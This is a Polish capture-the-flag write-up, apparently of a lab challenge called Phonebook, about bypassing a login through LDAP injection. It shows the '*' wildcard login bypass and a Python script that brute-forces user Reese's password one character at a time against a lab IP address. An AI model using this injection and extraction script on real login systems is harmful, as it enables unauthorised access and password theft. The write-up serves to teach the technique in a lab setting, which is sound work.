Who is lucky enough to be included in the phonebook?
Po wejściu na stronę główną, widzimy prosty formularz logowania i informację o updacie.
New (9.8.2020): You can now login using the workstation username and password! – Reese
Ok, dostajemy z niego nick jednego z użytkowników.

Po sprawdzeniu kodu strony, widzimy link pobierający style. Próbujemy wejść w folder początkowy z linku.

Mamy możliwość wyszukiwania, która nie działa. Po każdej próbie otrzymujemy status 403, co oznacza dla nas, że musimy być autoryzowani, aby skorzystać z funkcjonalności. Wracamy więc na stronę logowania.
Po kilku próbach logowania zauważamy, że jesteśmy w stanie uzyskać autoryzację, wpisując w oba pola ‘*’. Oznacza to dla nas, że mamy do czynienia z podatnością LDAP. Polega ona na wykorzystaniu przez osobę nieuprawnioną dostępu do bazy danych w aplikacji wykorzystującej protokół LDAP. Często, ze względu na sposób przeprowadzania ataków, mylona jest z SQL Injection.
Po zalogowaniu wyszukiwarka działa, ale dalej nie znaleźliśmy flagi, na której nam zależy.

W niektórych przypadkach możliwe jest, aby za pomocą ataku LDAP wykraść hasło i login użytkownika. Z początkowej strony wiemy, że jedna z nazw użytkowników to Reese. Wpisując jego nick, a w miejscu hasła gwiazdkę, zostajemy zalogowani, co potwierdza poprawność loginu.
Teraz pozostaje kwestia “odgadnięcia” hasła. Pomoże nam w tym napisany przez nas pseudo skrypt w pythonie. Dodaje on kolejne znaki do hasła, a w momencie braku możliwych kombinacji, podaje odkryte hasło.
import requests
from lxml import html
with requests.Session() as session:
#landing page url
url = "http://165.22.124.155:32367/login"
#declare password
password = ""
while True:
#possible characters
characters = "0123456789aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ!@#$%^&:<>/|}_{[]"
#iterate through possible characters
for character in characters:
#POST request with our code
request = session.post(
url = url,
data = {'username': "Reese", 'password': password + character + "*"}
)
#remove used character
characters = characters.replace(character, '')
#check if request is invalid
if request.url != "http://165.22.124.155:32367/login?message=Authentication%20failed":
password += character
break
#break while loop if we checked all characters
if len(characters) == 0:
break
print(password)
Takim sposobem uzyskujemy hasło, które jest jednocześnie naszą flagą.
Źródła
https://owasp.org/www-community/attacks/LDAP_Injection
https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html